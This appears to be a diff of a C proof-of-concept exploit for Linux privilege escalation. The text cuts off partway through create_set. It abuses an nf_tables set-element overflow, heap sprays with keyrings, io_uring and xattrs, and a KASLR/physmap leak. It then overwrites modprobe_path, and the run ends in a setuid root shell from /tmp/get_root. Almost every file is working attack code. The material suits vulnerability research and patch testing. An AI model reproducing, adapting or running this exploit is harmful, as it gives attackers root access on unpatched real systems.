🤬
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +.PHONY: all clean
     2 + 
     3 +TARGET=poc
     4 + 
     5 +SOURCES = $(wildcard src/*.c)
     6 +HEADERS = $(wildcard inc/*.h)
     7 +OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))
     8 + 
     9 +CFLAGS= -I./inc
     10 +LDFLAGS= -pthread -static
     11 + 
     12 +all: obj $(TARGET) get_root
     13 + 
     14 +$(TARGET): $(OBJECTS)
     15 + $(CC) $(LDFLAGS) -o $@ $^
     16 + strip $@
     17 + 
     18 +obj/%.o: src/%.c
     19 + $(CC) -c $< -o $@ $(CFLAGS)
     20 + 
     21 +obj:
     22 + mkdir obj
     23 + 
     24 +get_root: get_root_src/get_root.c
     25 + $(CC) -o $@ $^
     26 + 
     27 +clean:
     28 + rm -rf obj/*.o
     29 + rm -f $(TARGET)
     30 + rm -f get_root
     31 + 
  • ■ ■ ■ ■ ■ ■
    get_root_src/get_root.c
     1 +#include <stdio.h>
     2 +#include <stdlib.h>
     3 +#include <unistd.h>
     4 + 
     5 +int main(int argc, char **argv) {
     6 +
     7 + if (geteuid() == 0) {
     8 + setuid(0);
     9 + setgid(0);
     10 + puts("[+] I am root");
     11 + system("bash");
     12 + }
     13 + 
     14 +}
     15 + 
  • ■ ■ ■ ■ ■ ■
    inc/keyring.h
     1 +#ifndef _KEYRING_H_
     2 +#define _KEYRING_H_
     3 + 
     4 +#include <stdint.h>
     5 +#include <unistd.h>
     6 +#include <sys/syscall.h>
     7 + 
     8 +#define IO_RING_CTX_REF_FREE_OFFSET 0x3dfa00
     9 + 
     10 +#define IO_RSRC_NODE_REF_ZERO_OFFSET 0x3e04f0
     11 + 
     12 +#define KEY_DESC_MAX_SIZE 40
     13 + 
     14 +#define PREFIX_BUF_LEN 16
     15 +#define RCU_HEAD_LEN 16
     16 + 
     17 +#define SPRAY_KEY_SIZE 50
     18 + 
     19 +#define PHYSMAP_MASK 0xffffffff00000000
     20 + 
     21 +struct keyring_payload {
     22 + uint8_t prefix[PREFIX_BUF_LEN];
     23 + uint8_t rcu_buf[RCU_HEAD_LEN];
     24 + unsigned short len;
     25 +};
     26 + 
     27 +struct leak {
     28 + long kaslr_base;
     29 + long physmap_base;
     30 +};
     31 + 
     32 +typedef int32_t key_serial_t;
     33 + 
     34 +static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
     35 + return syscall(__NR_add_key, type, description, payload, plen, ringid);
     36 +}
     37 + 
     38 +static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
     39 + return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
     40 +}
     41 + 
     42 +key_serial_t *spray_keyring(uint32_t spray_size);
     43 +struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size);
     44 +void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size);
     45 + 
     46 +#endif /* _KEYRING_H_ */
     47 + 
  • ■ ■ ■ ■ ■ ■
    inc/log.h
     1 +#ifndef _LOG_H_
     2 +#define _LOG_H_
     3 + 
     4 +#include <stdlib.h>
     5 + 
     6 +#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0)
     7 + 
     8 +#endif /* _LOG_H_ */
     9 + 
  • ■ ■ ■ ■ ■ ■
    inc/modprobe.h
     1 +#ifndef _MODPROBE_H_
     2 +#define _MODPROBE_H_
     3 + 
     4 +void setup_modprobe_payload(void);
     5 +void get_root_shell(void);
     6 +void prepare_root_shell(void);
     7 + 
     8 +#endif /* _MODPROBE_H_ */
     9 + 
  • ■ ■ ■ ■ ■ ■
    inc/netlink.h
     1 +#ifndef _NETLINK_H_
     2 +#define _NETLINK_H_
     3 + 
     4 +#include <stdint.h>
     5 +#include <linux/netlink.h>
     6 + 
     7 +/* Netlink messages */
     8 + 
     9 +#define NETLINK_RECEIVE_BUFFER_SIZE 4096
     10 + 
     11 +struct nlmsghdr *get_batch_begin_nlmsg(void);
     12 +struct nlmsghdr *get_batch_end_nlmsg(void);
     13 + 
     14 +/* Netlink attributes */
     15 + 
     16 +#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t))
     17 +#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t))
     18 +#define S8_NLA_SIZE (sizeof(struct nlattr) + 8)
     19 +#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x)
     20 +#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN)
     21 + 
     22 +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len);
     23 +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value);
     24 +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value);
     25 +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]);
     26 +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size);
     27 + 
     28 +#endif /* _NETLINK_H_ */
     29 + 
  • ■ ■ ■ ■ ■ ■
    inc/nf_tables.h
     1 +#ifndef _NF_TABLES_H_
     2 +#define _NF_TABLES_H_
     3 + 
     4 +#include <stdint.h>
     5 + 
     6 +#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + S8_NLA_SIZE)
     7 + 
     8 +#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize
     9 + 
     10 +void create_table(int sock, const char *name);
     11 +void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id);
     12 +void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data);
     13 + 
     14 +#endif /* _NF_TABLES_H_ */
     15 + 
  • ■ ■ ■ ■ ■ ■
    inc/simple_xattr.h
     1 +#ifndef _SIMPLE_XATTR_H_
     2 +#define _SIMPLE_XATTR_H_
     3 + 
     4 +#include <stdint.h>
     5 + 
     6 +#define XATTR_FILE "/tmp/tmpfs/a"
     7 +#define XATTR_VALUE "value"
     8 + 
     9 +#define XATTR_DELETION_NAME "security.Iwanttoberoot"
     10 + 
     11 +#define ATTRIBUTE_NAME_LEN 0x100
     12 +#define COMMAND_MAX_LEN 0x100
     13 + 
     14 +#define PREFIX_BUFFER_LEN 16
     15 + 
     16 +struct write4_payload {
     17 + uint8_t prefix[PREFIX_BUFFER_LEN];
     18 + void *next;
     19 + void *prev;
     20 + uint8_t name_offset;
     21 +} __attribute__((packed));
     22 + 
     23 +void spray_simple_xattr(char *filename, uint32_t spray_size);
     24 +void create_xattr(const char *filename, char *attribute_name);
     25 + 
     26 +#endif /* _SIMPLE_XATTR_H_ */
     27 + 
  • ■ ■ ■ ■ ■ ■
    inc/uring.h
     1 +#ifndef _URING_H_
     2 +#define _URING_H_
     3 + 
     4 +#include <stdint.h>
     5 +#include <unistd.h>
     6 +#include <sys/syscall.h>
     7 +#include <linux/io_uring.h>
     8 + 
     9 +#define SPRAY_NB_ENTRIES 10
     10 + 
     11 +struct fd_uring {
     12 + int fd;
     13 + struct io_uring_params *params;
     14 +};
     15 + 
     16 +static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
     17 + return syscall(__NR_io_uring_setup, entries, p);
     18 +}
     19 + 
     20 +static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
     21 + return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
     22 +}
     23 + 
     24 +void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer);
     25 +void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size);
     26 + 
     27 +#endif /* _URING_H_ */
     28 + 
  • ■ ■ ■ ■ ■ ■
    inc/util.h
     1 +#ifndef _UTIL_H_
     2 +#define _UTIL_H_
     3 + 
     4 +#include <unistd.h>
     5 + 
     6 +#define FILENAME_MAX_LEN 0x80
     7 + 
     8 +void new_ns(void);
     9 +void set_cpu_affinity(int cpu_n, pid_t pid);
     10 +char *generate_tmp_filename(void);
     11 + 
     12 +#endif /* _UTIL_H_ */
     13 + 
  • ■ ■ ■ ■ ■ ■
    src/keyring.c
     1 +#include <stdio.h>
     2 +#include <stdlib.h>
     3 +#include <stdint.h>
     4 +#include <string.h>
     5 +#include <limits.h>
     6 +#include <linux/keyctl.h>
     7 + 
     8 +#include "log.h"
     9 +#include "keyring.h"
     10 +#include "util.h"
     11 + 
     12 +/**
     13 + * spray_keyring(): Spray the heap with `user_key_payload` structure
     14 + * @spray_size: Number of object to put into the `kmalloc-64` cache
     15 + *
     16 + * Return: Allocated buffer with serial numbers of the created keys
     17 + */
     18 +key_serial_t *spray_keyring(uint32_t spray_size) {
     19 + 
     20 + char key_desc[KEY_DESC_MAX_SIZE];
     21 + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
     22 + 
     23 + if (id_buffer == NULL)
     24 + do_error_exit("calloc");
     25 + 
     26 + for (uint32_t i = 0; i < spray_size; i++) {
     27 + snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
     28 + id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
     29 + if (id_buffer[i] < 0)
     30 + do_error_exit("add_key");
     31 + }
     32 + 
     33 + return id_buffer;
     34 +}
     35 + 
     36 +/**
     37 + * parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
     38 + * @buffer: Buffer that contains the infoleak
     39 + * @buffer_size: Size of the previous buffer
     40 + *
     41 + * Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
     42 + * Then compute the KASLR base
     43 + * Finally use the pointer to the associated `percpu_ref` to compute the physmap base
     44 + *
     45 + * Return: KASLR base and physmap base of the running kernel
     46 + */
     47 +struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
     48 + 
     49 + struct leak *ret = malloc(sizeof(struct leak));
     50 + if (!ret)
     51 + do_error_exit("malloc");
     52 + 
     53 + for (uint32_t i = 0; i < buffer_size; i++) {
     54 + 
     55 + /* Search for reference to the function io_ring_ctx_ref_free */
     56 + if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
     57 + ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
     58 + ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
     59 + return ret;
     60 + 
     61 + /* Search for reference to the function io_rsrc_node_ref_zero */
     62 + } else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
     63 + ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
     64 + ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
     65 + return ret;
     66 + }
     67 + }
     68 + 
     69 + free(ret);
     70 + return NULL;
     71 +}
     72 + 
     73 +/**
     74 + * get_keyring_leak(): Find the infoleak and compute the needed bases
     75 + * @id_buffer: Buffer with the serial numbers of keys used to spray the heap
     76 + * @id_buffer_size: Size of the previous buffer
     77 + *
     78 + * Search for a key with an unexpected size to find the corrupted object.
     79 + *
     80 + * Return: KASLR base and physmap base of the running kernel
     81 + */
     82 +struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
     83 +
     84 + uint8_t buffer[USHRT_MAX] = {0};
     85 + int32_t keylen;
     86 + 
     87 + for (uint32_t i = 0; i < id_buffer_size; i++) {
     88 + 
     89 + keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
     90 + if (keylen < 0)
     91 + do_error_exit("keyctl");
     92 + 
     93 + if (keylen == USHRT_MAX) {
     94 + return parse_leak((long *)buffer, keylen >> 3);
     95 + }
     96 + }
     97 + return NULL;
     98 +}
     99 + 
     100 +/**
     101 + * release_keys(): Release user_key_payload objects
     102 + * @id_buffer: Buffer that stores the id of the key to remove
     103 + * @id_buffer_size: Size of the previous buffer
     104 + */
     105 +void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
     106 +
     107 + for (uint32_t i = 0; i < id_buffer_size; i++) {
     108 + if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
     109 + do_error_exit("keyctl(KEYCTL_REVOKE)");
     110 + }
     111 + 
     112 + free(id_buffer);
     113 +}
     114 + 
  • ■ ■ ■ ■ ■ ■
    src/main.c
     1 +#define _GNU_SOURCE
     2 +#include <stdio.h>
     3 +#include <stdlib.h>
     4 +#include <stdint.h>
     5 +#include <string.h>
     6 +#include <unistd.h>
     7 +#include <limits.h>
     8 +#include <sys/wait.h>
     9 +#include <arpa/inet.h>
     10 +#include <sys/xattr.h>
     11 +#include <sys/socket.h>
     12 +#include <linux/netlink.h>
     13 + 
     14 +#include "log.h"
     15 +#include "util.h"
     16 +#include "uring.h"
     17 +#include "keyring.h"
     18 +#include "modprobe.h"
     19 +#include "nf_tables.h"
     20 +#include "simple_xattr.h"
     21 + 
     22 +#define ID 1337
     23 +#define SET_NAME "name\0\0\0"
     24 +#define LEAK_SET_NAME "leak\0\0\0"
     25 +#define TABLE_NAME "table\0\0"
     26 + 
     27 +#define MODPROBE_PATH_BASE 0x1e8b620
     28 + 
     29 +#define SPRAY_SIZE 300
     30 + 
     31 +int main(int argc, char **argv) {
     32 + 
     33 + int sock;
     34 + struct sockaddr_nl snl;
     35 + struct write4_payload payload;
     36 + struct keyring_payload leak_payload;
     37 + struct leak *bases;
     38 + struct fd_uring *fd_buffer;
     39 + key_serial_t *id_buffer;
     40 + char *xattr_target_filename;
     41 + 
     42 + /* Pin the process to the first CPU */
     43 + set_cpu_affinity(0, 0);
     44 + 
     45 + prepare_root_shell();
     46 + printf("[+] Second process currently waiting\n");
     47 + 
     48 + new_ns();
     49 + printf("[+] Get CAP_NET_ADMIN capability\n");
     50 + 
     51 + /* Netfilter netlink socket creation */
     52 + if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
     53 + do_error_exit("socket");
     54 + }
     55 + printf("[+] Netlink socket created\n");
     56 + 
     57 + memset(&snl, 0, sizeof(snl));
     58 + snl.nl_family = AF_NETLINK;
     59 + snl.nl_pid = getpid();
     60 + if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
     61 + do_error_exit("bind");
     62 + printf("[+] Netlink socket bound\n");
     63 + 
     64 + /* Create a netfilter table */
     65 + create_table(sock, TABLE_NAME);
     66 + printf("[+] Table %s created\n", TABLE_NAME);
     67 + 
     68 + /* Create a netfilter set for the info leak */
     69 + create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
     70 + printf("[+] Set for the leak created\n");
     71 + 
     72 + /* Create a netfilter set for the write primitive */
     73 + create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
     74 + printf("[+] Set for write primitive created\n");
     75 + 
     76 + /* Prepare the payload for the leak */
     77 + memset(&leak_payload, 0, sizeof(struct keyring_payload));
     78 + leak_payload.len = USHRT_MAX;
     79 + 
     80 + printf("[*] Leak in process");
     81 + fflush(stdout);
     82 +retry:
     83 + /* Spray the heap with user_key_payload structs to perform an info leak */
     84 + id_buffer = spray_keyring(SPRAY_KEY_SIZE);
     85 + 
     86 + /** Perform the overflow to modify the size of a registered key **/
     87 + add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
     88 + 
     89 + /* Spray the heap with percpu_ref_data */
     90 + fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
     91 + if (!fd_buffer)
     92 + do_error_exit("calloc");
     93 + spray_uring(SPRAY_SIZE, fd_buffer);
     94 + 
     95 + /* Check if the overflow occured on the right object */
     96 + bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
     97 + if (!bases) {
     98 + release_keys(id_buffer, SPRAY_KEY_SIZE);
     99 + release_uring(fd_buffer, SPRAY_SIZE);
     100 + goto retry;
     101 + }
     102 + printf("\r[+] Leak succeed \n");
     103 + printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
     104 + printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
     105 +
     106 + /* Prepare the payload for the write primitive */
     107 + memset(&payload, 0, sizeof(struct write4_payload));
     108 + payload.next = (void *)(bases->physmap_base + 0x2f706d74);
     109 + payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1);
     110 + payload.name_offset = 0xe5;
     111 + 
     112 +respray_xattr:
     113 + /* Spray the heap for the write primitive */
     114 + xattr_target_filename = generate_tmp_filename();
     115 + spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
     116 + 
     117 + add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
     118 + 
     119 + /* Proceed to the write */
     120 + if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
     121 + goto respray_xattr;
     122 + 
     123 + printf("[+] modprobe_path changed !\n");
     124 + 
     125 + setup_modprobe_payload();
     126 + printf("[+] Modprobe payload setup\n");
     127 + get_root_shell();
     128 + 
     129 + wait(NULL);
     130 + 
     131 + return EXIT_SUCCESS;
     132 +}
     133 + 
  • ■ ■ ■ ■ ■ ■
    src/modprobe.c
     1 +#include <stdio.h>
     2 +#include <fcntl.h>
     3 +#include <stdlib.h>
     4 +#include <stdint.h>
     5 +#include <unistd.h>
     6 +#include <sys/shm.h>
     7 +#include <sys/ipc.h>
     8 +#include <sys/types.h>
     9 +#include <semaphore.h>
     10 +#include <string.h>
     11 +#include <sys/wait.h>
     12 + 
     13 +#include "log.h"
     14 +#include "modprobe.h"
     15 + 
     16 +const char dummy_file[] = "/tmp/dummy\0";
     17 + 
     18 +const char dummy_content[] = "\xff\xff\xff\xff";
     19 +const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n";
     20 + 
     21 +sem_t *shell_barrier;
     22 + 
     23 +/**
     24 + * prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
     25 + */
     26 +void prepare_root_shell(void) {
     27 + 
     28 + int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
     29 + shell_barrier = shmat(shmid, NULL, 0);
     30 + 
     31 + if (sem_init(shell_barrier, 1, 0) < 0)
     32 + do_error_exit("sem_init");
     33 + 
     34 + if (!fork()) {
     35 + system("cp get_root /tmp");
     36 + sem_wait(shell_barrier);
     37 + system("/tmp/get_root");
     38 + exit(EXIT_SUCCESS);
     39 + }
     40 +}
     41 + 
     42 +/**
     43 + * create_dummy_file(): Create a file to trigger call_modprobe in case of execution
     44 + */
     45 +void create_dummy_file(void) {
     46 + 
     47 + int fd;
     48 + 
     49 + fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
     50 + write(fd, dummy_content, sizeof(dummy_content));
     51 + close(fd);
     52 +}
     53 + 
     54 +/**
     55 + * get_root_shell(): Trigger a call to the new modprobe_path
     56 + */
     57 +void get_root_shell(void) {
     58 + 
     59 + int pid = fork();
     60 + if (pid == 0)
     61 + execve("/tmp/dummy", NULL, NULL);
     62 +
     63 + waitpid(pid, NULL, 0);
     64 + sem_post(shell_barrier);
     65 +}
     66 + 
     67 +/**
     68 + * get_new_modprobe_path(): Read the new modprobe_path
     69 + *
     70 + * Return: path stored within /proc/sys/kernel/modprobe
     71 + */
     72 +char *get_new_modprobe_path(void) {
     73 + 
     74 + int fd;
     75 + char *modprobe_path = malloc(15);
     76 + 
     77 + if (!modprobe_path)
     78 + do_error_exit("malloc");
     79 + 
     80 + fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
     81 + if (fd < 0)
     82 + do_error_exit("open(/proc/sys/kernel/modprobe)");
     83 + 
     84 + read(fd, modprobe_path, 14);
     85 + 
     86 + close(fd);
     87 + 
     88 + modprobe_path[14] = '\0';
     89 + 
     90 + return modprobe_path;
     91 +}
     92 + 
     93 +/**
     94 + * write_new_modprobe(): Create chown && chmod script for get_root
     95 + * @filename: current path to modprobe for the kernel
     96 + */
     97 +void write_new_modprobe(char *filename) {
     98 + 
     99 + int fd;
     100 + 
     101 + fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
     102 + if (fd < 0)
     103 + do_error_exit("open");
     104 + 
     105 + write(fd, new_modprobe_content, sizeof(new_modprobe_content));
     106 + 
     107 + close(fd);
     108 +}
     109 + 
     110 +/**
     111 + * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
     112 + */
     113 +void setup_modprobe_payload(void) {
     114 + 
     115 + char *filename;
     116 + 
     117 + filename = get_new_modprobe_path();
     118 + 
     119 + write_new_modprobe(filename);
     120 + create_dummy_file();
     121 + 
     122 + free(filename);
     123 +}
     124 + 
     125 + 
  • ■ ■ ■ ■ ■ ■
    src/netlink.c
     1 +#include <stdlib.h>
     2 +#include <stdio.h>
     3 +#include <stdint.h>
     4 +#include <linux/netlink.h>
     5 +#include <linux/netfilter/nfnetlink.h>
     6 +#include <unistd.h>
     7 +#include <string.h>
     8 +#include <arpa/inet.h>
     9 + 
     10 +#include "log.h"
     11 +#include "netlink.h"
     12 + 
     13 +/**
     14 + * get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink
     15 + */
     16 +struct nlmsghdr *get_batch_begin_nlmsg(void) {
     17 + 
     18 + struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
     19 + struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);
     20 + 
     21 + if (!nlh)
     22 + do_error_exit("malloc");
     23 + 
     24 + memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
     25 + nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
     26 + nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
     27 + nlh->nlmsg_pid = getpid();
     28 + nlh->nlmsg_flags = 0;
     29 + nlh->nlmsg_seq = 0;
     30 + 
     31 + /* Used to access to the netfilter tables subsystem */
     32 + nfgm->res_id = NFNL_SUBSYS_NFTABLES;
     33 + 
     34 + return nlh;
     35 +}
     36 + 
     37 +/**
     38 + * get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink
     39 + */
     40 +struct nlmsghdr *get_batch_end_nlmsg(void) {
     41 + 
     42 + struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
     43 + 
     44 + if (!nlh)
     45 + do_error_exit("malloc");
     46 + 
     47 + memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
     48 + nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
     49 + nlh->nlmsg_type = NFNL_MSG_BATCH_END;
     50 + nlh->nlmsg_pid = getpid();
     51 + nlh->nlmsg_flags = NLM_F_REQUEST;
     52 + nlh->nlmsg_seq = 0;
     53 + 
     54 + return nlh;
     55 +}
     56 + 
     57 +/**
     58 + * set_nested_attr(): Prepare a nested netlink attribute
     59 + * @attr: Attribute to fill
     60 + * @type: Type of the nested attribute
     61 + * @data_len: Length of the nested attribute
     62 + */
     63 +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) {
     64 + attr->nla_type = type;
     65 + attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
     66 + return (void *)attr + sizeof(struct nlattr);
     67 +}
     68 + 
     69 +/**
     70 + * set_u32_attr(): Prepare an integer netlink attribute
     71 + * @attr: Attribute to fill
     72 + * @type: Type of the attribute
     73 + * @value: Value of this attribute
     74 + */
     75 +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) {
     76 + attr->nla_type = type;
     77 + attr->nla_len = U32_NLA_SIZE;
     78 + *(uint32_t *)NLA_ATTR(attr) = htonl(value);
     79 + 
     80 + return (void *)attr + U32_NLA_SIZE;
     81 +}
     82 + 
     83 + /**
     84 + * set_u64_attr(): Prepare a 64 bits integer netlink attribute
     85 + * @attr: Attribute to fill
     86 + * @type: Type of the attribute
     87 + * @value: Value of this attribute
     88 + */
     89 +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) {
     90 + attr->nla_type = type;
     91 + attr->nla_len = U64_NLA_SIZE;
     92 + *(uint64_t *)NLA_ATTR(attr) = htobe64(value);
     93 + 
     94 + return (void *)attr + U64_NLA_SIZE;
     95 +}
     96 + 
     97 +/**
     98 + * set_str8_attr(): Prepare a 8 bytes long string netlink attribute
     99 + * @attr: Attribute to fill
     100 + * @type: Type of the attribute
     101 + * @name: Buffer to copy into the attribute
     102 + */
     103 +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) {
     104 + attr->nla_type = type;
     105 + attr->nla_len = S8_NLA_SIZE;
     106 + memcpy(NLA_ATTR(attr), name, 8);
     107 + 
     108 + return (void *)attr + S8_NLA_SIZE;
     109 +}
     110 + 
     111 +/**
     112 + * set_binary_attr(): Prepare a byte array netlink attribute
     113 + * @attr: Attribute to fill
     114 + * @type: Type of the attribute
     115 + * @buffer: Buffer with data to send
     116 + * @buffer_size: Size of the previous buffer
     117 + */
     118 +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) {
     119 + attr->nla_type = type;
     120 + attr->nla_len = NLA_BIN_SIZE(buffer_size);
     121 + memcpy(NLA_ATTR(attr), buffer, buffer_size);
     122 + 
     123 + return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
     124 +}
     125 + 
  • ■ ■ ■ ■ ■ ■
    src/nf_tables.c
     1 +#include <stdlib.h>
     2 +#include <stdio.h>
     3 +#include <stdint.h>
     4 +#include <unistd.h>
     5 +#include <linux/netfilter.h>
     6 +#include <linux/netfilter/nfnetlink.h>
     7 +#include <linux/netfilter/nf_tables.h>
     8 +#include <string.h>
     9 +#include <sys/socket.h>
     10 +#include <linux/netlink.h>
     11 +#include <string.h>
     12 + 
     13 +#include "netlink.h"
     14 +#include "nf_tables.h"
     15 +#include "log.h"
     16 + 
     17 +const uint8_t zerobuf[0x40] = {0};
     18 + 
     19 +/**
     20 + * create_table(): Register a new table for the inet family
     21 + * @sock: socket bound to the netfilter netlink
     22 + * @name: Name of the new table
     23 + */
     24 +void create_table(int sock, const char *name) {
     25 + struct msghdr msg;
     26 + struct sockaddr_nl dest_snl;
     27 + struct iovec iov[3];
     28 + struct nlmsghdr *nlh_batch_begin;
     29 + struct nlmsghdr *nlh;
     30 + struct nlmsghdr *nlh_batch_end;
     31 + struct nlattr *attr;
     32 + struct nfgenmsg *nfm;
     33 + 
     34 + /* Destination preparation */
     35 + memset(&dest_snl, 0, sizeof(dest_snl));
     36 + dest_snl.nl_family = AF_NETLINK;
     37 + memset(&msg, 0, sizeof(msg));
     38 + 
     39 + /* Netlink batch_begin message preparation */
     40 + nlh_batch_begin = get_batch_begin_nlmsg();
     41 + 
     42 + /* Netlink table message preparation */
     43 + nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
     44 + if (!nlh)
     45 + do_error_exit("malloc");
     46 + 
     47 + memset(nlh, 0, TABLEMSG_SIZE);
     48 + nlh->nlmsg_len = TABLEMSG_SIZE;
     49 + nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
     50 + nlh->nlmsg_pid = getpid();
     51 + nlh->nlmsg_flags = NLM_F_REQUEST;
     52 + nlh->nlmsg_seq = 0;
     53 + 
     54 + nfm = NLMSG_DATA(nlh);
     55 + nfm->nfgen_family = NFPROTO_INET;
     56 + 
     57 + /** Prepare associated attribute **/
     58 + attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
     59 + set_str8_attr(attr, NFTA_TABLE_NAME, name);
     60 + 
     61 + /* Netlink batch_end message preparation */
     62 + nlh_batch_end = get_batch_end_nlmsg();
     63 + 
     64 + /* IOV preparation */
     65 + memset(iov, 0, sizeof(struct iovec) * 3);
     66 + iov[0].iov_base = (void *)nlh_batch_begin;
     67 + iov[0].iov_len = nlh_batch_begin->nlmsg_len;
     68 + iov[1].iov_base = (void *)nlh;
     69 + iov[1].iov_len = nlh->nlmsg_len;
     70 + iov[2].iov_base = (void *)nlh_batch_end;
     71 + iov[2].iov_len = nlh_batch_end->nlmsg_len;
     72 + 
     73 + /* Message header preparation */
     74 + msg.msg_name = (void *)&dest_snl;
     75 + msg.msg_namelen = sizeof(struct sockaddr_nl);
     76 + msg.msg_iov = iov;
     77 + msg.msg_iovlen = 3;
     78 + 
     79 + sendmsg(sock, &msg, 0);
     80 + 
     81 + /* Free used structures */
     82 + free(nlh_batch_end);
     83 + free(nlh);
     84 + free(nlh_batch_begin);
     85 +}
     86 + 
     87 +/**
     88 + * create_set(): Create a netfilter set
     89 + * @sock: Socket used to communicate throught the netfilter netlink
     90 + * @set_name: Name of the created set
     91 + * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache
     92 + * @data_len: Length of stored data. Used to control the size of the overflow
     93 + * @table_name: Name of the table that stores this set
     94 + * @id: ID of the created set
     95 + */
     96 +void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
